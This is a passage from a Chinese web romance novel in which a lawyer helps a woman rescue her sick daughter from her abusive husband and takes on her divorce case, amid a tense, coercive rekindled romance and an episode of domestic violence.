那场车祸,他的母亲失去了双腿,下半辈子都得轮椅为伴。 而那个让母亲下跪的温昭宁,别说信守承诺了,她连看都没有来看他们母子一眼,她不仅戏耍了他,还戏耍了一个老人最纯粹的爱子之情。 当年温昭宁能让他母亲跪,此时此刻,她又凭什么不能跪? 温昭宁听了贺淮钦的话,眼眶不受控地泛起滚烫的酸意,视线迅速模糊。 她应该立刻转身离开的,可一想到高烧的青柠还在陆恒宇的手上,她就无法一走了之,所有的伤心、屈辱和不甘,在母性的本能面前,都被强行压了下去。 “我跪下,你就会帮我吗?” “会。”贺淮钦的眼神冰冷、坚定。 “好,我跪。” 温昭宁闭上了眼睛,她浓密的睫毛上还沾着泪珠,像是折断了翅膀的蝴蝶,颤抖着、带着一种令人心碎的决绝。 她的膝盖一点一点向下弯曲,身体也开始下坠…… 就在她即将触碰到大理石地面的前一刻,一只大手猛地攥住了她的手臂,力道之大,几乎要捏碎她的骨头,硬生生阻止了她下跪的趋势。 温昭宁惊愕地睁开泪眼,印入眼帘的是贺淮钦近在咫尺的脸,不知何时,他脸上冰冷的恨意和残忍的戏谑都消失了,取而代之的,是温昭宁无法看懂的复杂情绪。 “你……” 温昭宁哽咽着,刚开口吐出一个字,就被他滚烫的唇堵了回去。 好凶狠的一个吻。 贺淮钦粗暴地撬开她的牙关,气息灼热而混乱,仿佛要通过这个吻将她撕碎。 温昭宁被他紧箍在怀里,大脑一片空白,只能被动地承受着这个如同风暴般的吻,可为什么明明是他在索取、在惩戒,他却抖得比她还厉害。 不知过了多久,两人都因缺氧而呼吸急促,贺淮钦终于松开了她,结束了这个带着血腥气、近乎掠夺的吻。 他向后退开一步,眼底燃烧的情绪被强行压住,重新覆上一层冰冷的寒霜。 “我已经感受到温大小姐的诚意了,我同意和你交易。”他看了眼她红肿的唇和迷蒙的泪眼,转过身去,背对着她问:“说吧,想要我做什么?” 这场以尊严和身体为筹码的交易,贺淮钦终究是接下了,可温昭宁没有任何如释重负的感觉,她只觉得更加惶惶难安,她出卖的不仅仅是身体,更是在贺淮钦面前仅存的骄傲和底线。 无数的问题像藤蔓一样缠绕着她的思绪,让她感觉到一阵阵窒息般的恐惧。 只是眼下,她顾不得那么多了。 “陆恒宇软禁了我的女儿,求你帮我救回我女儿,她现在正在发高烧,得尽快就医。” 贺淮钦总算知道了,骄傲的温大小姐今天为什么会愿意向他下跪,原来是为了她的女儿。 六年前那个苦苦哀求的母亲和今日满腔母爱的她,就这么形成了一个可笑又讽刺的闭环。 “回去等我消息。”贺淮钦在白纸上写下一个地址,“去这里等我,不准再回陆家!” -- 温昭宁几乎是逃似的离开了这间奢华却令人窒息的办公室。 她打车去了贺淮钦给她的地址。 那是位于市中心的一栋洋房别墅,洋房主体是赭红色的砖墙,砖石拼接的缝隙间,偶尔探出几缕深绿色的常春藤,平添几分野趣,屋顶是陡峭的深灰色石板瓦,层次分明,整栋洋房没有过分张扬的奢华,却处处透着低调的品味。 温昭宁刚下车,就下起了大雨。 好在,大门的入口处有一个白色立柱支撑起的弧形门廊,她站在那里避了会儿,等雨小了才进门。 贺淮钦提前交代了,说这里的密码和西城别苑的密码一样。 家里空无一人。 温昭宁进屋后,就一直坐在客厅里等着。 客厅的色调是精心搭配过的暖米色和原木色,整体看来比西城别苑的客厅温馨了许多,但没什么生活过的痕迹。 四周寂静,窗外的雨声一阵大一阵小,落在窗棂上,搅得温昭宁越发心绪不宁。 也不知道青柠怎么样了? 也不知道贺淮钦有没有去找人? 时间一分一秒的过去,温昭宁一次一次看向门口,终于,临近傍晚的时候,两道汽车灯光穿透雨幕,缓缓划过客厅的窗帘,门口响起了车子停下的声音。 温昭宁瞬间从沙发上弹了起来,冲到窗边去查看。 黑色的库里南静静地停在雨中。 后座的车门打开,先是一把巨大的黑色雨伞“嘭”地撑开,接着,一个高大的身影弯着腰从车内下来。 是贺淮钦。 贺淮钦的怀里,抱着一个熟睡的小小身影,正是温昭宁日思夜想的青柠。 青柠身上严实地裹着一件黑色的西装,只露出一张白皙恬静的小脸,靠在贺淮钦的肩头。 雨下得正密。 贺淮钦单手稳稳地抱着孩子,另一只手撑着伞,伞面大幅度地往青柠倚靠的那一边倾斜,严严实实地遮住了青柠,而贺淮钦的大半个肩膀和后背,则完全暴露在了冰凉的雨幕之中,昂贵的衬衫布料迅速被雨水浸透,紧紧贴在他挺拔的脊背上,勾勒出清晰的肌肉线条。 温昭宁赶紧跑过去,打开了门。 “宝贝!”她声音颤抖,带着哭腔。 贺淮钦正好走到门廊下,温昭宁立刻伸手把青柠抱了过来。 孩子入怀的那一刻,那真实的、温热的小小重量,击溃了温昭宁所有的强撑,她抱住了孩子,像抱住了失而复得的全世界。 贺淮钦收了伞,沉默地站在一旁,看着母女俩重逢的一幕,眼底翻涌着复杂难言的情绪。 进屋后,温昭宁第一时间低下头,用唇去感受青柠额头的体温。 还好,不是特别烫。 “照顾孩子的保姆说两小时前已经喂过退烧药了,你不用太担心,医生马上过来。”贺淮钦说。 “谢谢。” 温昭宁发自内心的感谢。 虽然求他帮忙的过程不太美妙,但至少结果是好的,他把孩子给她带回来了。 “不用谢,交易而已。” “……” “带孩子去二楼东边的客房。”贺淮钦脱了自己身上湿透的衬衫,一边上楼一边说,“这几天,你们就在这里住着。” “好。” -- 温昭宁抱着女儿上楼。 客房的床很大,温昭宁动作轻缓地将裹在青柠身上的黑色西装解开,然后将她放在大床的中央,替她盖上被子。 青柠依旧睡得很沉,长长的睫毛像两把小扇子,在眼睑下投下柔和的阴影,粉嫩的小嘴微微嘟起,呼吸平稳而绵长。 温昭宁跪坐在床边,目光流连在女儿的脸上,仿佛怎么也看不够。 她把女儿的小手放在唇边,亲了又亲。 过了好一会儿,她才想起要给苏云溪报个信。 温昭宁先给苏云溪打了个电话,告诉她青柠已经找回来了,接着,又给段姨打了个电话。 段姨已经回家了。 “宁宁,那位贺先生把我的手机拿回来了,他还派人把我送回了家,你不用担心我,好好照顾青柠。” “好,您受苦了,好好休息。” 温昭宁刚挂电话,发现床上的青柠醒了。 “妈妈!”青柠看到温昭宁,小嘴巴一瘪,巨大的委屈涌上来,“妈妈……你去哪里了?青柠好害怕……好想你……” 温昭宁见青柠眼泪大颗大颗地滚落,心疼地一把抱住了她:“对不起宝贝,是妈妈没有保护好你,不要害怕,妈妈在,你现在已经安全了。” “爸爸为什么要把我关起来?”青柠小肩膀一抽一抽的,“是青柠不乖吗?” “宝贝,不是你的问题,你放心,妈妈会解决好一切,以后绝对不会让青柠再有危险。” “青柠不喜欢这个爸爸,这个爸爸又凶又坏,妈妈,我不要这个爸爸了。” “好,我们不要这个爸爸了。” 温昭宁哄了一会儿,青柠才算止住了哭。 她正打算先给青柠洗把脸,邵一屿提着药箱来了。 “淮钦让我来看一下孩子。”邵一屿说完这句话,直接上前检查孩子。 他动作专业轻柔,在查看了青柠的口腔和喉咙后,他又用听诊器听了听青柠的心肺。 “邵医生,怎么样?”温昭宁焦急地问。 “高烧,喉咙里有明显疱疹,是疱疹性咽峡炎,问题不大,但孩子会出现喉咙痛,食欲差等症状,要难受几天。”邵一屿从药箱里拿出一些药物,“按时吃药,这个喷雾给她喷喉咙,喷完不要马上喝水,注意观察体温,防止高热惊厥,有问题就让淮钦给我打电话。” “好的,谢谢你。” “不客气。” 邵一屿收拾完药箱,看了眼温昭宁和那个漂亮的小女孩,神色复杂地退出房间。 -- 楼下,贺淮钦已经洗完澡,换好了衣服。 他正坐在沙发上喝茶。 邵一屿走到贺淮钦身边,打开药箱拿出耳温计,将感应头塞进贺淮钦的耳朵里。 “干什么?”贺淮钦推开邵一屿的手,“就淋点雨而已,不至于发烧。” “还不至于发烧呢,我看你脑子都已经烧坏了。”邵一屿指着二楼方向,“楼上怎么回事?” 贺淮钦安静地喝茶,没说话。 “我先前问你什么时候搬家,你说不搬了,现在怎么还拖家带口地搬过来了?”邵一屿激动,“关键是,你拖的是别人的家,带的是别人的口啊。哥们,你清醒点好不好,那是别人的老婆孩子!温昭宁还没离婚呢!” “马上离。” “马上离那也是没离啊,你这样水灵灵地把人母女带回家,合适吗?” “你不说谁知道?” “我……”邵一屿语塞。 “管好你的嘴巴。” “我可以管好我的嘴巴,但你呢?”邵一屿睨贺淮钦一眼,“我现在怕的是你管不住你的心。” “我知道我自己在干什么,我的心绝对不会再给她。” 邵一屿见贺淮钦一派游刃有余的模样,叹了口气:“算了算了,我是管不了你了,你爱当三就去当三,哪天你因为撬别人老婆孩子被打了,给我打电话,包你活这是兄弟我最后的义气了。” “那我真是谢谢你了。” “客气。” 邵一屿留下喝了两杯茶,就走了。 贺淮钦又在楼下处理了两封邮件,他上楼时,二楼的客房很安静。 房门虚掩着,他透过那道缝隙向里望去,床上,那个小小的女孩歪靠在枕头上睡着了,而温昭宁,她就躺在孩子的身边,身体微蜷着,手搭在孩子的身上,是一个充满保护欲的姿势。 朦胧的灯光下,一大一小两张漂亮的睡颜,依偎在一起,那画面,温馨的让人心都不自觉柔软下来。 贺淮钦想到白天,那小女孩靠在他怀里时,对他满是依赖的样子。 那一瞬间,他脑海里升起一个荒唐的念头,如果这个孩子是他的女儿,该多好。 可惜,她是温昭宁和别的男人的孩子。 贺淮钦正驻足望着,那小女孩忽然翻了个身,直接从被子里滚了出来。 温昭宁睡得太沉,没有察觉。 贺淮钦犹豫了一下,轻手轻脚地推门进去,替孩子盖上了被子,他俯身的刹那,孩子忽然抬手攥住了他的两根手指。 “爸爸……” 第一卷 第19章 和谐吗 爸爸? 是在叫他? 贺淮钦的脊背一僵,一种陌生的悸动瞬间攫住了他。 他几乎下意识地去回握住那只白嫩嫩的小手,那柔软温热的小小触感,像带着微弱的电流,顺着他的指尖,一路蔓延至心脏。 就那么短短几秒,他心中那片被强行冰封的角落,似乎正在悄然化开。 “爸爸……带我去见妈妈……”床上的小人儿翻了个身,松开了他的手指,咂了咂嘴,含糊不清地又嘟囔一句:“想妈妈……” 原来只是梦话。 一股说不清是失落还是自嘲的情绪涌上心头,将贺淮钦心头那陌生的柔软冲刷得七零八落。 他缓缓收回手,握成拳,指尖那点余温似乎也变得有些烫人。 这一夜,贺淮钦没有睡着。 温昭宁也折腾了一夜,夜里青柠高烧反反复复,她隔四个小时给她喂一次退烧药,期间不停地给她物理降温,到天亮时,青柠退烧了,她才又迷迷糊糊地睡着一会儿。 贺淮钦起床走出卧室,看到小女孩一个人站在二楼的走廊里,隔着窗户逗弄树梢上的一只小鸟。 听到脚步声,小女孩警觉地回过头来,见是他,孩子甜甜一笑。 “叔叔,早上好。”她开口声音有点哑,显然喉咙还不是很舒服。 贺淮钦点点头,走到她身侧:“你妈妈呢?” “妈妈还在睡觉,她昨晚一直照顾我,没睡好,现在在补觉。” 贺淮钦“嗯”了声。 他不善和孩子交流,一大一小面对面站在走廊里,忽然没了话题。 孩子那双酷似温昭宁的大眼睛清澈明亮,她就那么眨巴着眼看着贺淮钦,让见惯了大场面的贺淮钦莫名局促。 他转身想下楼,孩子伸手,小心翼翼地拉住了他的手。 那柔软温热的小手,再次包裹住他的指尖,和昨晚一样的悸动,又一次席卷了贺淮钦。 “谢谢叔叔救我,谢谢叔叔带我见妈妈。”孩子很礼貌很真诚。 贺淮钦看向她稚嫩的小脸,破天荒的放软了向来冷硬的声线,用自以为最柔和的嗓音问她:“你叫什么名字?” “我叫陆念初,小名叫青柠。” 钦宁? 贺淮钦心潮翻涌,他蹲下来,握住孩子的肩膀,连声音都来不及切换柔软模式,快速地问:“哪个钦?哪个宁?” 青柠被他吓了一跳,但还是冷静地回答他:“叔叔,我才幼儿园小班,我不认识字,我不知道那两个字怎么写。” 贺淮钦还想问什么,温昭宁听到动静醒了。 她走出客房,看到贺淮钦单膝跪地蹲在青柠面前,心头一仄,快步过去把青柠拉到了自己的怀里。 “宝贝,怎么跑出来都不和妈妈说一声?” “我看妈妈在睡觉,就没有吵妈妈。” “宝贝真贴心,谢谢宝贝。”温昭宁摸摸女儿的小脸,“怎么样?喉咙有没有好点?” “咽口水还是痛痛的。” “那快进屋,妈妈给你喷药药。” “好。” 温昭宁揽着孩子想回客房,身后,贺淮钦一把抓住了她的手,温昭宁心头警铃大作,这人疯了吗?孩子还在这里呢,就和她拉拉扯扯的,万一被孩子看到多不好! “贺律……”她眼神祈求,希望贺淮钦千万不要在孩子面前说什么、做什么不合时宜的事情。 贺淮钦看着她,过了片刻,放开她的手。 “早餐吃什么,我让人送过来。” 温昭宁松了一口气:“粥吧。” -- 温昭宁给青柠喷好药后,青柠说想看《小猪佩奇》,温昭宁的手机快没电了,她带着青柠下楼。 楼下餐厅内,贺淮钦正在煮咖啡。 “贺律,能借你家电视看个动画片吗?”温昭宁问。 “遥控器在茶几上。” “好,谢谢。” 温昭宁给孩子放了《小猪佩奇》,就上楼去洗漱了。 昨晚手忙脚乱照顾青柠一夜,她根本顾不上拾掇自己,幸好刚刚贺淮钦让人送早餐的时候,也顺带给她和孩子拿来几套换洗衣物。 温昭宁进客房的浴室冲了个澡。 浴室里,水汽氤氲。 她刚洗完澡,准备吹头发,就听到“咔哒”一声,浴室的门被推开了。 “宝贝,这么快就看完了吗?” 温昭宁以为是青柠,一转头,发现进来的是贺淮钦。 “怎么是你?”她下意识地抓紧了胸前的浴巾,“你出去!” “这里是我家,你让我出去?”贺淮钦一步步走近她,“去哪?” 温昭宁接不上话。 是啊,这是他的家,现在她和孩子才是这个家的访客。 贺淮钦目光锁着她。 她身上只裹着一条柔软的白色浴巾,浴巾堪堪遮住关键部位,勾勒出她玲珑有致的身体曲线,因为受惊,她的胸口微微起伏着,春光欲泄。 贺淮钦晨起的躁动,在这一刻达到了极致。 他双手撑住洗手台的大理石台面,将温昭宁锁在他的臂弯里。 “你干什么?”温昭宁慌乱无措,贺淮钦的目光太烫了,烫得她身上的水珠都要被蒸发了。 “你女儿叫什么名字?”贺淮钦问。 “陆念初。” “小名叫什么?” “青柠。” “哪个钦?哪个宁?” “青色的青,柠檬的柠。” 贺淮钦顿住了。 原来是这个青柠,不是他想的那两个字。 “为什么要叫念初?为什么要叫青柠?” 温昭宁没想到贺淮钦这么敏感,竟然能从孩子的名字里发现端倪。 是的,当初给孩子取名字的时候,无论是“念初”还是“青柠”,都藏着她对那段初恋的私心,可是,她不能让贺淮钦知道。 贺淮钦恨她,他要她当他的情人,就意味着只想要一份纯粹的肉体关系,而孩子代表着世间最深重的情感维系,他们之间不需要这样的情感维系。 “‘念初’是陆恒宇取的名字,至于‘青柠’,是因为我在一棵青柠树旁破了羊水,为了纪念,所以小名叫了青柠。” “很完美,是个天衣无缝的解释。”贺淮钦凝视着她,“既然如此,为什么在我面前你只敢喊她‘宝贝’,却从来没有叫过她的名字?” 温昭宁自以为谨慎,没想到谨慎在他面前反而成了破绽。 “因为我习惯了喊她宝贝,有问题吗贺律?”温昭宁心脏怦怦直跳,但她没有表现出一丝心虚,而是昂头迎上了贺淮钦的目光,“贺律,你一直打听我女儿的名字,你想证明什么?” 贺淮钦被她坦荡荡的目光直视着,忽然觉得自己可笑至极,他真是疯了,才会在她和别人的孩子身上寻找她曾爱过他的证据。 如果她真的爱过他,又怎么会那样决绝地抛弃他去和别人结婚生孩子? “等孩子痊愈,就把她送走。”贺淮钦冷漠地开口,“我不接受买一送一的交易,而且,我也不希望我和你上床的时候,孩子在边上扰了我的兴致。” 交易。 上床。 他的兴致。 贺淮钦这是一遍一遍在提醒着她现在的处境,她不过是把自己交易出去了的一个玩物而已。 温昭宁强忍着心头酸涩,点点头:“贺律放心,你不说我也会把她送走,毕竟,我比你更不希望让我的孩子看到我迫于无奈出卖自己。” 呵,好一个出卖自己。 贺淮钦冷哼一声,走出浴室,“嘭”的一声用力关上门,将她一个人隔绝在那片私密而湿润的空间里。 -- 那天之后,贺淮钦一次都没有来过洋房别墅,但每天会按时派人送来三餐。 在温昭宁的悉心照顾下,青柠很快痊愈,周末,温昭宁就把青柠送去了悠山老家。 温昭宁当然是一万个不舍得和女儿分开,可接下来,她和陆恒宇还有一场离婚硬仗要打,青柠留在沪城,保不齐陆恒宇又会对她下手,她不想再经历一次找不到孩子的恐惧,她必须保证青柠的安全。 悠山老家这边,温昭宁的母亲和舅舅一家都在,他们可以帮忙照顾青柠,温昭宁表姐的儿子比青柠年长一岁,兄妹俩感情很好,平时也可以互为玩伴。 青柠对可以回悠山老家这件事情很开心,但要离开温昭宁,她又有点分离焦虑。 “妈妈,我会很想你的。”分开的时候,青柠抱着温昭宁的脖子不愿撒手,“我想你了怎么办?” “想妈妈了就和妈妈视频。”温昭宁强忍着泪,叮嘱青柠,“要听外婆和舅爷爷的话,照顾好自己,等妈妈处理好沪城的事情,就会回来陪你。” “妈妈,你是不是要和爸爸离婚?” “你听谁说的?” “我之前听奶奶说的,奶奶说离婚就是爸爸和妈妈分开了再也不要见面,就是爸爸不要妈妈和青柠了,去和别的阿姨生弟弟。” 温昭宁没想到婆婆赵曼丽竟然在孩子面前说起过离婚这样的话题,她一阵气愤:“那青柠怎么想?” “我支持妈妈和爸爸分开,再也不要见面,反正爸爸很少回家,我一点都不会想他。”青柠搂紧了温昭宁的脖子,在她耳边轻轻分享秘密:“妈妈,其实那天晚上,我看到爸爸打你了,他把烟灰缸砸在你的头上,你流了好多血……” 青柠说着,小小脑海里回忆重现,忍不住后怕地哭起来。 温昭宁愣住了,原来那晚青柠都看到了。 这个小小的人儿到底是怀揣着怎样的恐惧忍下了哭声,第二天又装作若无其事什么都不知道的样子? “青柠,你既然看到了,为什么不告诉妈妈?” “我知道妈妈不想让我知道,才一直戴着帽子和口罩,我不想让妈妈难过。” 温昭宁听得心都要碎了。 青柠早慧,正是因为她太懂事了,反而更让温昭宁觉得心疼。 “妈妈,我讨厌爸爸,离婚才不是爸爸不要青柠和妈妈,而是青柠和妈妈不要爸爸。”青柠伏在温昭宁的怀里,小手捧着温昭宁的脸颊,“妈妈,你一个人在沪城要保护好自己,青柠不想看到妈妈再受伤。” “好。”温昭宁哽咽着亲亲女儿的额头,“青柠也要保护好自己,妈妈爱你。” “我也爱妈妈。” -- 回城的路上,温昭宁止不住地流泪。 都说爱是常觉亏欠,她太爱青柠了,也因此常常觉得亏欠孩子太多,无法向青柠袒露的身世,无法给予青柠的完整家庭,都是她心中难以抹平的痛楚,而现在,她们母女甚至还要面临这样的分离…… 好在,孩子忘性快,温昭宁还没回到沪城,母亲宋冬雪就已经发来一段青柠和哥哥愉快玩耍的视频了。 “宁宁,你安心处理沪城的事情,孩子我一定会照顾好的。”母亲说。 “谢谢妈。” “是妈谢谢你,你为温家背负了太多太多。” 温昭宁看着母亲的信息,没有再回复。 她现在只期望快点和陆恒宇离婚,快点让贺淮钦厌倦了她,早日回到母亲和女儿身边,开始新生活。 车子刚进入沪城境内,温昭宁的手机响了。 是贺淮钦的电话。 “喂。”温昭宁接起来。 “孩子送走了?” “嗯。” 贺淮钦没问她把孩子送去了哪里,只是说:“现在来律所一趟。” “怎么了?” “谈谈你的离婚官司。” “好。” 温昭宁又马不停蹄地赶去律所。 一回生两回熟,前台小姐这次看到温昭宁,连例行公事的询问都没有,就直接让温昭宁进去了。 温昭宁走到贺淮钦的办公室前,轻轻敲了敲门,得到应允后,推门进去。 几天不见,贺淮钦看起来没什么变化,他依旧是一身挺括的黑色西装,领带系得一丝不苟,气质冷硬又疏离。 温昭宁进去后,他并没有抬头看她,甚至连眼皮都未曾掀动一下,只说了句“坐”,就继续全神贯注地回复客户的邮件了。 陈益进来给温昭宁送了一杯咖啡,温昭宁一边喝咖啡一边等着,过了好一会儿,贺淮钦才结束手头上的工作,抬眼看向她。 两人视线一碰撞,贺淮钦本能地想起了那日的浴室,想起灯光下她莹白的肌肤和曼妙的身体。 这几天他不去见她,是他有意的克制。 没想到这一见面,那股陌生又熟悉的邪火又蹿了上来。 贺淮钦清了清喉咙,开口:“你的离婚官司我亲自代理,接下来我会问你几个问题,需要你如实回答。” “好的。” “你和陆恒宇结婚六年,这六年间,你们的夫妻生活和谐吗?” 第一卷 第20章 先付点利息 温昭宁万万没想到贺淮钦会问她这个问题。 她眉眼一弯,两颊梨涡微现:“贺律,这么私人的问题有必要问吗?” “当然,法庭判断感情是否破裂,会综合考虑多方面的因素,夫妻生活是否早已名存实亡,这是证明双方离婚意志是否坚定的重要佐证。”贺淮钦向后靠进椅背,双手交叠放在桌前,以很理性的姿态望着温昭宁,“你不愿回答,我是不是可以认为你们夫妻生活并不和谐?” “和谐,很和谐,除了生理期外,几乎每天都要来那么一二三四次,细节就不多说了,怕贺律听了自卑。” “是吗?”贺淮钦紧咬后槽牙,不疾不徐地起身朝温昭宁走过来。 温昭宁坐在椅子里,本能想向后靠,但椅背限制了她的动作。 贺淮钦双手撑在椅子的木质扶手上,居高临下,他高大的身影带着压迫感和侵略性笼罩住温昭宁,让她无处可逃。 “我是你的离婚代理律师,为了我们能更好的合作,你最好不要对我说谎。” 他靠得那么近,近到温昭宁能闻到他身上清冽的须后水的气息以及一丝淡淡的烟草味。 明明心中慌乱,但温昭宁偏偏一身反骨:“我没有撒谎,贺律自己做不到的事,不代表别的男人也做不到。” “我做不到吗?”贺淮钦躬身,唇贴到她的耳边,沉声问:“温大小姐是不是忘了,当年是谁在我怀里一遍一遍求饶,让我放过你的?” 温昭宁自然没有忘记,当年那个第一次开荤吃肉的男人,仗着年轻,恨不得每晚都榨干自己来取悦她。 “如果你忘了,我可以现在就带你回忆一下。” 贺淮钦的呼吸声越来越重。 温昭宁瞄到了他身体的变化。 “贺淮钦,这是你的办公室。”她扬手抵住贺淮钦的胸膛,“我是你的客户,贺律就是这么对客户的吗?” “要我放过你也可以,那我问你的问题,好好回答。” “不和谐,不和谐,一点都不和谐。”温昭宁投降,如实回答,“结婚六年,陆恒宇基本都在外忙生意,不怎么回家。” “这么听来,温大小姐不是夫妻生活不和谐,而是没什么夫妻生活。”贺淮钦松开温昭宁,阴阳怪气地丢下一句,“难怪你这么喜欢刷男模。” 温昭宁:“……” 贺淮钦坐回位置上,给了温昭宁一张调查表,示意温昭宁填写。 温昭宁扫了一眼,这调查表调查的是离婚当事人的婚姻基础情况、子女抚养权以及夫妻共同财产等问题。 贺淮钦早把这张表拿出来不就完了嘛,什么夫妻生活和不和谐的,分明就是这个狗男人夹带私货。 温昭宁把调查表填好了递给贺淮钦,贺淮钦看了一眼,忽然又问:“陆恒宇和孩子的感情似乎不怎么好,为什么?” 这场离婚官司由贺淮钦代理,温昭宁最担心的就是贺淮钦会在打官司的过程中发现孩子身世的端倪。 果然,他问了。 幸好,她早就想好了托词。 “因为陆恒宇不喜欢女儿,他想要儿子。” 贺淮钦曾亲耳听到温昭宁的婆婆赵曼丽催她生男孩,对于这个回答,并没有起疑。 他整理了一下办公桌上的文件材料,对温昭宁说:“我今天会让人准备好起诉状,明天正式向法院提起离婚诉讼。” “好,谢谢贺律。那你忙,我先走了。” 温昭宁说着站起来要走。 “用完就走?”贺淮钦伸手,一把将温昭宁拉到自己的身侧,将她按到他的腿上,“把我当什么?” 温昭宁感觉到他铁一般结实的大腿,以及身体的某些变化。 天,都过去这么久了,怎么还没下去? 温昭宁下意识要逃,贺淮钦的手臂却紧紧环着她的腰,将她固定在自己的怀里。 “温大小姐,我现在可是你的交易对象。”他的嗓音低沉而危险。 “是交易对象没错,但这里不适合交易。” “那先付点利息。” 贺淮钦说完,按住她的后颈,将她的脸压向自己,昂头吻住了温昭宁的红唇。 这个吻没有上一次那么凶狠,但同样算不上温柔,他炽热的舌强势地闯入,掠夺了她的呼吸。 安静的办公室内,男女的喘息声逐渐放大。 “咚咚咚!” 敲门声忽然响起。 温昭宁吓得一把推开了贺淮钦。 他嗤笑一声:“胆小鬼。” “有人敲门。” “我不让进,没人敢进。” 贺淮钦扣住她的下巴,重新将她吻住,又一次缠绵直入。 “贺律,沈小姐来了。”门外响起陈益的声音。 贺淮钦停下动作,转瞬间,他的情欲退散,理智归位,主动将怀里的温昭宁推开了。 温昭宁一阵失落,明明上一秒他的吻还那么炙热,可转眼间,他又如此冷漠地和她划清界限。 这一刻,“见不得光”这四个字忽然具象化了。 是啊,只是交易,她该时刻谨记,无论何时,都不要沉溺于这短暂的温情之中。 “贺律,我先走了。”温昭宁整理了一下自己的头发,冲他潇洒一笑:“再见。” 她说完,没去看贺淮钦的表情,转身就走。 门外,沈雅菁正站着,她看到温昭宁从贺淮钦的办公室出来,脸上浮起一抹惊愕。 温昭宁不等她开口,直接快步与她擦肩而过。 沈雅菁往贺淮钦的办公室里走,边走,边转头去看温昭宁的背影。 “淮钦哥,陆太太怎么在你的办公室啊?” “她要离婚了,以后别再喊她陆太太。”贺淮钦整理了一下微乱的衬衫,脸上恢复了惯常的疏离与冷静,“你怎么来了?” “哦,我明天要去医院检查,国内的医院我不太熟悉,有点害怕,想让你陪我一起去。” “好。” -- 离婚诉讼提交后,温昭宁每天都在等着开庭的消息。 可是,她还没等到法院的电话,先等来了医院的电话。 “是温昭宁女士吗?” “是的。” “你妹妹温晚醍出了车祸,在中心医院,你马上过来一下。” 温昭宁接到电话,整颗心悬空,大脑一片空白,她立刻打车去了中心医院。 出租车在医院门口停下,温昭宁正要往里跑,却被迎面而来的陆恒宇拦住。 “真是姐妹情深啊,一个电话,这么快就赶来了。”陆恒宇脸上,带着阴谋得逞后的笑。 温昭宁反应过来:“电话是你让人打的?” “是我让人打的,不然,你躲得这么好,我怎么找你?” 温昭宁找回青柠后,就把陆恒宇的所有联系方式全都拉黑了,她本意是离婚之前都不再见陆恒宇,没想到他竟然用这样的方式逼她现身。 “我和你之间没什么好说的。” 温昭宁转身欲走,却被陆恒宇一把扣住手腕,往反方向拉。 “你干什么?放开我!”温昭宁挣扎着,但却怎么也挣不开,她见情况不妙,转而开始喊:“救命!救命!” 可惜周围都是些行色匆匆的病患家属,根本没有人有心思来管她的闲事。 好不容易有个大哥上来制止,也被陆恒宇一句“她是我老婆,在和我闹脾气”给打发走了。 温昭宁被陆恒宇拖进了医院隔壁的小公园。 这个点,小公园里空无一人。 “陆恒宇,光天化日之下,你要干什么?” 温昭宁再次试图挣扎逃跑,却被陆恒宇反手扇了一巴掌。 这一巴掌,陆恒宇用了十成力道,直接把温昭宁扇倒在地,她的唇角沁出血来。 “贱人,还真敢提离婚诉讼!我给你脸了是不是?”陆恒宇指着温昭宁,怒目圆睁,“我告诉你,要离婚可以,带着你的小拖油瓶有多远滚多远,但陆家的钱,你一分都别想拿走!” “我要求拿回的本来就是我的嫁妆。” “从你嫁进陆家开始,你的嫁妆就是陆家的钱。我劝你最好识相,否则,下一次你妹妹会不会真的出车祸,就不得而知了。” 先是她女儿,再是她妹妹,陆恒宇这个卑鄙无耻的小人,只会用她身边人来威胁她。 温昭宁猛地抬头,在陆恒宇没有防备的瞬间,抓住他的胳膊,狠狠地咬了一口。 “啊!!!” 陆恒宇发出一声凄厉的惨叫,胳膊上的剧痛让他暴怒,他扬起那只未受伤的手,再次朝温昭宁扇过来,可巴掌还没有落到温昭宁的脸上,一只力量感十足的大手骤然伸出,截住了陆恒宇的手。 “陆先生,欺负女人,可不算君子。”那只大手的主人冷冷的,带着骇人的戾气一把将陆恒宇的手推了回去。 陆恒宇踉跄几步才站稳,他抬起头,看向来人,发现是贺淮钦。 “贺律,这么巧,你怎么在这里?” 贺淮钦没回答,他的目光快速扫过温昭宁,见她唇边带着血迹,他眼底的寒意又深了几分。 “没事吧?”贺淮钦俯身将地上的温昭宁扶起来。 温昭宁摇摇头。 贺淮钦递过来一方手帕,示意她擦嘴。 陆恒宇见状,赶忙过来解释:“贺律,不好意思,夫妻之间拌个嘴,又让你见笑了。” 他说着,想把温昭宁拉到自己身边去,贺淮钦直接挡开他的手,将温昭宁护在了身后:“别碰她!” 陆恒宇看着贺淮钦,忽然笑起来:“贺律,她是我老婆,你以什么身份不让我碰她?” “我是温小姐的离婚代理律师,根据法律规定和委托协议,在离婚诉讼期间,我有义务保护我当事人的人身安全和合法权益免受任何形式的威胁、恐吓和不法侵害。”贺淮钦语气不善。 陆恒宇以为自己听错:“贺律,你堂堂耀华律所的负责人,你怎么会接离婚官司?” “我接什么官司,是我的自由。”贺淮钦揽住温昭宁的肩膀,瞟陆恒宇一眼,“不过现在看来,这场离婚官司的确没有开庭的必要了。” 陆恒宇还没反应过来这是什么意思,就听贺淮钦又补一句:“明天上午十点,我会亲自带着温小姐去陆家签离婚协议。” “我不签什么离婚协议。” “那可由不得你。” -- 库里南就停在医院的露天停车场。 贺淮钦先把温昭宁送上了车。 “你等我一下。”他说着,转身折进医院。 没一会儿,贺淮钦回到车上,手里多了一瓶碘伏和一盒无菌棉签。 “头转过来。”他的声音硬邦邦的,明显能听出怒意。 温昭宁也不知道他在气什么,只是乖乖把头探过去,将嘴角的伤口侧向他。 贺淮钦拧开碘伏瓶,用棉签替她擦拭唇边的血迹。 冰凉的刺痛感让温昭宁忍不住轻颤一下,她下意识往后躲,却被贺淮钦扣住了肩膀。 “现在知道疼了?”贺淮钦语气不悦,“谁出来见他的?” “他派人给我打电话,说我妹妹出车祸了在医院,我一时着急,忘了打电话给我妹妹确认,就来了。” “平时和我抖机灵的时候脑子转得挺快,今天怎么脑子生锈了?” “那毕竟是我妹妹,我怎么冷静啊。” “莽撞,活该。” 他嘴里的话一句比一句硬,但手上的动作却一下比一下轻。 温昭宁莫名感受到了一丝温柔,明知不该动心,这一刻,心还是变得软绵绵的。 “你怎么在这里?”温昭宁问。 “有事。” “真巧。” “是啊,不巧的话,你明天又要戴着墨镜口罩出门了。”贺淮钦扔掉染血的棉签,又换上一根新的,“这个有暴力倾向的男人,请问你当初看上他什么了?” 